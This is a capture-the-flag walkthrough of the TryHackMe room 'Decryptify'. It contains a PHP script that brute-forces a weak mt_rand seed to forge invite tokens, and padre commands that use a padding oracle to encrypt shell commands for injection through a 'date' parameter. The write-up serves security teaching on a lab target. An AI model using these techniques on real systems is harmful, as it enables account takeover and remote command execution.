> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2025/decryptify.md).

# Decryptify

{% embed url="<https://tryhackme.com/room/decryptify>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with an nmap scan and find two open ports. We have SSH on port `22` and a web server on port `1337`.

<figure><img src="/files/u3TyDg7EvEoVGUDfBnBi" alt=""><figcaption></figcaption></figure>

We visit the page on port `1337` and have a login page in front of us. We can log in using a username and invite code or mail and invite code. Furthermore, we also discover a link to the API documentation.

<figure><img src="/files/tc78p3FzVevTEcU6uq0n" alt=""><figcaption></figcaption></figure>

Unfortunately, the API documentation is password protected.

<figure><img src="/files/jwzN1Y6eCojPYZK8Qaj0" alt=""><figcaption></figcaption></figure>

We use Feroxbuster for a recursive directory scan and find some interesting directories and pages...

<figure><img src="/files/sWcTeurUYeTImD9tZDe1" alt=""><figcaption></figcaption></figure>

Including `http://decryptify.thm:1337/js/api.js`, looks like some Javascript for the API documentation.

```
http://decryptify.thm:1337/js/api.js
```

However, this is obfuscated.

<figure><img src="/files/foHcgTR6NZSzauaddJxA" alt=""><figcaption></figcaption></figure>

## Web Access

### API Access

We use `beautifier.io` to counteract some of the obfuscation.

{% embed url="<https://beautifier.io/>" %}

It is noticeable here that the functions are called one after the other through their dependencies using the call `j(0x169)`. Maybe this is how we get the password for the API documentation.

{% code title="api.js" overflow="wrap" lineNumbers="true" %}

```javascript
function b(c, d) {
    const e = a();
    return b = function(f, g) {
        f = f - 0x165;
        let h = e[f];
        return h;
    }, b(c, d);
}
const j = b;

function a() {
    const k = ['16OTYqOr', '861cPVRNJ', '474AnPRwy', 'H7gY2tJ9wQzD4rS1', '5228dijopu', '29131EDUYqd', '8756315tjjUKB', '1232020YOKSiQ', '7042671GTNtXE', '1593688UqvBWv', '90209ggCpyY'];
    a = function() {
        return k;
    };
    return a();
}(function(d, e) {
    const i = b,
        f = d();
    while (!![]) {
        try {
            const g = parseInt(i(0x16b)) / 0x1 + -parseInt(i(0x16f)) / 0x2 + parseInt(i(0x167)) / 0x3 * (parseInt(i(0x16a)) / 0x4) + parseInt(i(0x16c)) / 0x5 + parseInt(i(0x168)) / 0x6 * (parseInt(i(0x165)) / 0x7) + -parseInt(i(0x166)) / 0x8 * (parseInt(i(0x16e)) / 0x9) + parseInt(i(0x16d)) / 0xa;
            if (g === e) break;
            else f['push'](f['shift']());
        } catch (h) {
            f['push'](f['shift']());
        }
    }
}(a, 0xe43f0));
const c = j(0x169);
```

{% endcode %}

We insert the obfuscated snippet into our browser console and then call `j(0x169)`. We get a string back from the `k` array.

<figure><img src="/files/0iSHzWNXYcwTOt2wF9tU" alt=""><figcaption></figcaption></figure>

We use this as a password at `http://decryptify.thm:1337/api.php`. And we actually get access! We gain insight into the token generation.

<figure><img src="/files/Ih09MWSqqFUgvVeZxJqd" alt=""><figcaption></figcaption></figure>

{% code title="token generation" overflow="wrap" lineNumbers="true" %}

```php


This function generates a invite_code against a user email.


// Token generation example
function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);

    return $seed_value;
}
     $seed_value = calculate_seed_value($email, $constant_value);
     mt_srand($seed_value);
     $random = mt_rand();
     $invite_code = base64_encode($random);
                            


```

{% endcode %}

The token are generated with the following steps:

* **Extract Email Length:**
  * The function calculates the length of the given `$email` string.
* **Convert First 8 Characters of Email to Hex:**
  * The function extracts the first 8 characters of `$email` and converts them to a hexadecimal number using `hexdec()`.
* **Calculate Seed Value:**
  * The function adds the email length, a constant value (`$constant_value`), and the hex-decimal converted value to form a seed.
* **Seed the Random Number Generator:**
  * The `mt_srand($seed_value)` function sets the seed for PHP’s Mersenne Twister (`mt_rand()`).
* **Generate Random Number:**
  * `mt_rand()` produces a pseudo-random number.
* **Encode in Base64:**
  * The generated random number is converted into a Base64 string and used as the invite code.

**Predictable Randomness (Weak Seeding)**

* The **seed value is deterministic**, as it is calculated using the email and a constant value.
* Given the same email and constant, `mt_rand()` will always generate the same invite code.

Further information about insecure randomness can be found in the recent release walkthrough room Insecure Randomness:&#x20;

{% embed url="<https://tryhackme.com/room/insecurerandomness>" %}

### Logs

From our directory scan using Feroxbuster we also found the following page: `http://decryptify.thm:1337/logs/app.log`. Here we can see that the users `alpha@fake.thm` and `hello@fake.thm` were created. The invite code for `alpha@fake.thm` is visible, but this user has been deactivated. The invite code for `hello@fake.thm` is not visible.

```
http://decryptify.thm:1337/logs/app.log
```

```
2025-01-23 14:32:56 - User POST to /index.php (Login attempt)
2025-01-23 14:33:01 - User POST to /index.php (Login attempt)
2025-01-23 14:33:05 - User GET /index.php (Login page access)
2025-01-23 14:33:15 - User POST to /index.php (Login attempt)
2025-01-23 14:34:20 - User POST to /index.php (Invite created, code: MTM0ODMzNzEyMg== for alpha@fake.thm)
2025-01-23 14:35:25 - User GET /index.php (Login page access)
2025-01-23 14:36:30 - User POST to /dashboard.php (User alpha@fake.thm deactivated)
2025-01-23 14:37:35 - User GET /login.php (Page not found)
2025-01-23 14:38:40 - User POST to /dashboard.php (New user created: hello@fake.thm)

```

### Reversing Token Generation

However, we can see with a login attempt that the user `hello@fake.thm` actually exists.

<figure><img src="/files/ljr0CmG6LhdNXCoVrZEn" alt=""><figcaption></figcaption></figure>

The steps of token generation can be reversed, as we are in possesion of an e-mail and its corresponding token. So we are able to brute force the constant. With that constant and a given email we are able to predict the token for that email as the seed will be always the same for `mt_rand().`&#x20;

Steps to calculate the constant:

* **Decode the invite code** → `base64_decode($invite_code)` to retrieve `mt_rand()` value.
* **Brute-force possible `constant_value`**:
  * Iterate over a range (`0` to `100000`).
  * Compute `seed_value` using guessed `constant_value`.
  * Check if `mt_rand()` matches the expected value.
* **Return the correct `constant_value`** when found.

{% code title="get\_constant.php" overflow="wrap" lineNumbers="true" %}

```php
<?php
function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);
    return $seed_value;
}

function reverse_constant_value($email, $invite_code) {
    // Step 1: Decode Base64 invite code
    $random_value = intval(base64_decode($invite_code));

    // Step 2: Get email components
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));

    // Step 3: Iterate over possible constant values
    for ($constant_value = 0; $constant_value <= 1000000; $constant_value++) {
        $seed_value = hexdec($email_length + $constant_value + $email_hex);

        mt_srand($seed_value);
        if (mt_rand() === $random_value) {
            return $constant_value;
        }
    }
    return "Constant value not found in range.";
}

// Given data
$email = "alpha@fake.thm";
$invite_code = "MTM0ODMzNzEyMg=="; // Base64 encoded value

// Reverse the constant value
$constant_value = reverse_constant_value($email, $invite_code);

echo "Reversed Constant Value: " . $constant_value . PHP_EOL;

```

{% endcode %}

With that small script we are able to reverse the constant value:

<figure><img src="/files/CrPhccbSPlk3xT2e5VM5" alt=""><figcaption></figcaption></figure>

We now use the php code found in the api documentation  with the constant value of `99999` and the email `hello@fake.thm` to generate its invite token.

{% code title="get\_token.php" overflow="wrap" lineNumbers="true" %}

```php
<?php

function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);

    return $seed_value;
}

function generate_token($email, $constant_value) {
     $seed_value = calculate_seed_value($email, $constant_value);
     mt_srand($seed_value);
     $random = mt_rand();
     $invite_code = base64_encode($random);

    return $invite_code;
}


$email = "hello@fake.thm";
$token = generate_token($email, 99999);
print $token

?>

```

{% endcode %}

<figure><img src="/files/XEsR73ft3RH1M5cTP2i0" alt=""><figcaption></figcaption></figure>

With that token, we are able to log in...

<figure><img src="/files/ZSg3wkioJfLWJ4EOjree" alt=""><figcaption></figcaption></figure>

... And find the first flag on the dashboard.

<figure><img src="/files/V8M3EbqyWezwZf5ciipy" alt=""><figcaption></figcaption></figure>

## File Read

In the source of the dashboard page we find a hidden field with the name `date` and something base64 encoded as value.

<figure><img src="/files/1QpnIx2xtMzzlGyGw823" alt=""><figcaption></figcaption></figure>

### Padding Oracle

Using that parameter without the value reveals us a padding error. So we might be able to pull off a padding oracle attack.&#x20;

Some more insights about Padding Oracles can be found in the recently released walkthrough room of TryHackMe.&#x20;

{% embed url="<https://tryhackme.com/room/paddingoracles>" %}

> Padding oracle attacks happen when an application reveals whether the padding in encrypted data is correct or not through detailed error messages or variations in response time. Attackers can exploit these slight clues to figure out the original data without the encryption key. This attack targets encryption methods like Cipher Block Chaining (CBC), which uses padding to handle data of different lengths. The padding oracle attack is named because the server acts as an "oracle" by providing feedback on whether the padding in the ciphertext is valid. \[<https://tryhackme.com/room/paddingoracles>]

<figure><img src="/files/ISIXEHxOjcSkQzMweAdH" alt=""><figcaption></figcaption></figure>

There are some tools like padbuster or padre to pull that attack off. We will use padre.&#x20;

{% embed url="<https://github.com/glebarez/padre>" %}

A similar room with a padding orcale is the New York Flankees room from last year:

{% embed url="<https://0xb0b.gitbook.io/writeups/tryhackme/2024/new-york-flankees>" %}

We capture a request to retrieve the needed cookies.

<figure><img src="/files/f0a909pr11qc9yS77WKs" alt=""><figcaption></figcaption></figure>

### Encrypted Command Injection

Next, we want to identify what this base64 is actually and use the padding oracle attack to decrypt that data. Running padre with the value in the source, we see `date +%Y` command is being issued, giving the current year in the footer.

{% code overflow="wrap" %}

```
./padre-linux-amd64 -cookie 'PHPSESSID=REDACTED; role=REDACTED' -u 'http://decryptify.thm:1337/dashboard.php?date=$' 'P6HqVqxBsuk77Gu7l8M+RrsLU8qI48mSEoqaOYAW1+Y='
```

{% endcode %}

<figure><img src="/files/7ucWxsVtU9ceY6CVsdvE" alt=""><figcaption></figcaption></figure>

Now we use the padding oracle to encrypt our own command, for this we chose `id`.&#x20;

{% code overflow="wrap" %}

```
./padre-linux-amd64 -cookie 'PHPSESSID=REDACTED; role=REDACTED' -u 'http://decryptify.thm:1337/dashboard.php?date=$' -enc 'id'
```

{% endcode %}

<figure><img src="/files/9cQscbop7Tcqi0gwn6RW" alt=""><figcaption></figcaption></figure>

We pass the encrypted output as a value for the `date` parameter and see, that we are able to issue arbitrary commands.

<figure><img src="/files/nARwx5msvOtdRfNEMRBH" alt=""><figcaption></figcaption></figure>

Next, we want to run the command `cat /home/ubuntu/flag.txt` to read the final flag.

{% code overflow="wrap" %}

```
./padre-linux-amd64 -cookie 'PHPSESSID=REDACTED; role=REDACTED' -u 'http://decryptify.thm:1337/dashboard.php?date=$' -enc "cat /home/ubuntu/flag.txt"
```

{% endcode %}

<figure><img src="/files/RO4dz9dwjXL8ZTVmMR0t" alt=""><figcaption></figcaption></figure>

We pass the output of padre for the date parameter and are able to read the final flag.

```
http://decryptify.thm:1337/dashboard.php?date=REDACTED
```

<figure><img src="/files/QajRqkZmtWYi5RYcmTJ8" alt=""><figcaption></figcaption></figure>
